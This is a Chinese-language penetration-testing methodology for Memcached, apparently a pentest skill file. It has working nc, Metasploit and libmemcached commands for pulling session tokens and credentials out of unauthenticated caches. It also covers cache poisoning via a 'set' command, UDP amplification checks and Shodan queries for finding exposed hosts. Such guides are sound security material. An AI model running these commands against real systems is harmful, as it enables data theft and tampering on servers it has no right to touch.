wgpsec/memcache-pentesting

Memcached 渗透测试方法论 (11211)

深入参考

• Memcached 命令详解、数据提取技术、DDoS 放大原理 -> 读 references/memcache-techniques.md

---

整体决策树

发现 11211 端口开放
├─ Phase 1: 服务发现
│   ├─ Nmap 脚本扫描 -> 版本与基本信息
│   ├─ 手动连接 (nc / telnet)
│   └─ TCP vs UDP 探测
│       ├─ TCP 11211 -> 标准连接
│       └─ UDP 11211 -> DDoS 放大攻击面
├─ Phase 2: 未授权访问测试
│   ├─ 发送 version / stats 命令
│   │   ├─ 返回数据 -> 未授权 -> Phase 3
│   │   └─ 无响应 / ERROR -> SASL 认证启用 -> 爆破
│   └─ Memcached 多数实例默认无认证
├─ Phase 3: 缓存数据提取
│   ├─ stats -> 基础统计信息
│   ├─ stats slabs -> 内存分片信息
│   ├─ stats items -> 各 slab 中的项目
│   ├─ stats cachedump <slab> <count> -> 键名 (< 1.4.31)
│   ├─ lru_crawler metadump all -> 键名 (>= 1.4.31)
│   └─ get <key> -> 获取具体缓存值
├─ Phase 4: DDoS 放大风险
│   ├─ UDP 端口开放 -> 可被利用为反射放大源
│   ├─ 放大比可达 51000x
│   └─ Metasploit: auxiliary/scanner/memcached/memcached_amp
└─ Phase 5: 已知漏洞
    ├─ CVE-2021-37519 (堆溢出)
    ├─ CVE-2019-11596 (NULL 指针)
    └─ 旧版本缓冲区溢出

---

Phase 1: 服务发现

1.1 自动枚举

# Nmap 信息收集
nmap -n -sV --script memcached-info -p 11211 <IP>

# Metasploit 数据提取
msf> use auxiliary/gather/memcached_extractor

# Metasploit DDoS 放大检测
msf> use auxiliary/scanner/memcached/memcached_amp

1.2 手动连接

# TCP 连接
echo "version" | nc -vn -w 1 <IP> 11211
echo "stats" | nc -vn -w 1 <IP> 11211

# libmemcached 工具
sudo apt install libmemcached-tools
memcstat --servers=<IP>

---

Phase 2: 未授权访问测试

2.1 认证检测

Memcached 虽支持 SASL 认证，但绝大多数实例默认暴露无认证。

# 发送 version 命令测试
echo "version" | nc -vn -w 1 <IP> 11211
# 返回 VERSION x.x.x 则无需认证

# 发送 stats 命令
echo "stats" | nc -vn -w 1 <IP> 11211
# 返回 STAT 数据则确认无认证

2.2 认证决策树

连接测试
├─ 返回 VERSION / STAT 数据
│   └─ 未授权访问确认 -> Phase 3
├─ 返回 ERROR 或无响应
│   ├─ SASL 认证可能启用
│   └─ 端口可能被防火墙过滤
└─ 连接超时
    └─ 检查 TCP/UDP 端口状态

---

Phase 3: 缓存数据提取

3.1 基础信息收集

# 版本信息
echo "version" | nc -vn -w 1 <IP> 11211

# 通用统计
echo "stats" | nc -vn -w 1 <IP> 11211

# 内存分片统计
echo "stats slabs" | nc -vn -w 1 <IP> 11211

# 项目统计
echo "stats items" | nc -vn -w 1 <IP> 11211

3.2 键名提取

# Memcached < 1.4.31: cachedump 方式
echo "stats cachedump <slab_number> 0" | nc -vn -w 1 <IP> 11211
# 0 表示无限输出

# Memcached >= 1.4.31: lru_crawler 方式 (推荐)
echo 'lru_crawler metadump all' | nc <IP> 11211 | head -50

3.3 获取具体值

# 获取指定键的值
echo "get <key_name>" | nc -vn -w 1 <IP> 11211

3.4 工具辅助

# libmemcached 工具
memcstat --servers=<IP>       # 统计信息
memcdump --servers=<IP>       # 导出所有键名
memccat --servers=<IP> <key>  # 获取键值

# PHP 脚本
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("<IP>", 11211); var_dump($c->getAllKeys());'

3.5 数据提取决策树

缓存数据提取流程
├─ stats items -> 确认有数据的 slab
├─ 版本 < 1.4.31
│   └─ stats cachedump <slab> 0 -> 获取键名
├─ 版本 >= 1.4.31
│   └─ lru_crawler metadump all -> 获取键名
├─ 获取键名后
│   └─ get <key> -> 逐个获取值
└─ 关注的数据类型
    ├─ 会话 Token / Session ID
    ├─ 用户凭据 / API Key
    ├─ 序列化对象 (反序列化攻击面)
    └─ 业务敏感数据

注意: 缓存数据是临时的，可能随时出现或消失。

---

Phase 4: DDoS 放大风险

4.1 UDP 反射放大

Memcached UDP 反射放大是已知的最大放大攻击之一，放大比可达 51000x。

# 检测 UDP 端口
nmap -sU -p 11211 <IP>

# Metasploit 放大检测
msf> use auxiliary/scanner/memcached/memcached_amp
msf> set RHOSTS <IP>
msf> run

4.2 DDoS 风险评估

UDP 11211 开放
├─ 可被滥用为 DDoS 反射放大源
│   ├─ 攻击者发送伪造源 IP 的小请求
│   ├─ Memcached 向受害者返回大响应
│   └─ 放大比高达 51000x
├─ 缓解措施
│   ├─ 禁用 UDP: memcached -U 0
│   ├─ 防火墙限制 11211 端口访问
│   └─ 绑定到 localhost: memcached -l 127.0.0.1
└─ 报告建议
    └─ 将 UDP 暴露标记为高风险发现

---

Phase 5: 已知漏洞

5.1 漏洞检测决策树

Memcached 版本已知
├─ < 1.4.31
│   └─ cachedump 可用 (信息泄露更简单)
├─ < 1.5.6
│   └─ CVE-2018-1000127 (整数溢出)
├─ < 1.6.1
│   └─ CVE-2019-11596 (NULL 指针解引用 DoS)
├─ < 1.6.12
│   └─ CVE-2021-37519 (堆缓冲区溢出)
└─ 通用
    └─ searchsploit memcached

---

数据写入与操纵

缓存投毒

如果可以写入 Memcached，可以投毒缓存数据：

# 设置/覆盖键值
printf "set target_key 0 3600 11\r\nmalicious_val\r\n" | nc <IP> 11211

# 潜在影响:
# - 修改会话数据 -> 越权
# - 修改配置缓存 -> 逻辑绕过
# - 注入序列化对象 -> 反序列化 RCE

---

Shodan 搜索

port:11211 "STAT pid"
"STAT pid"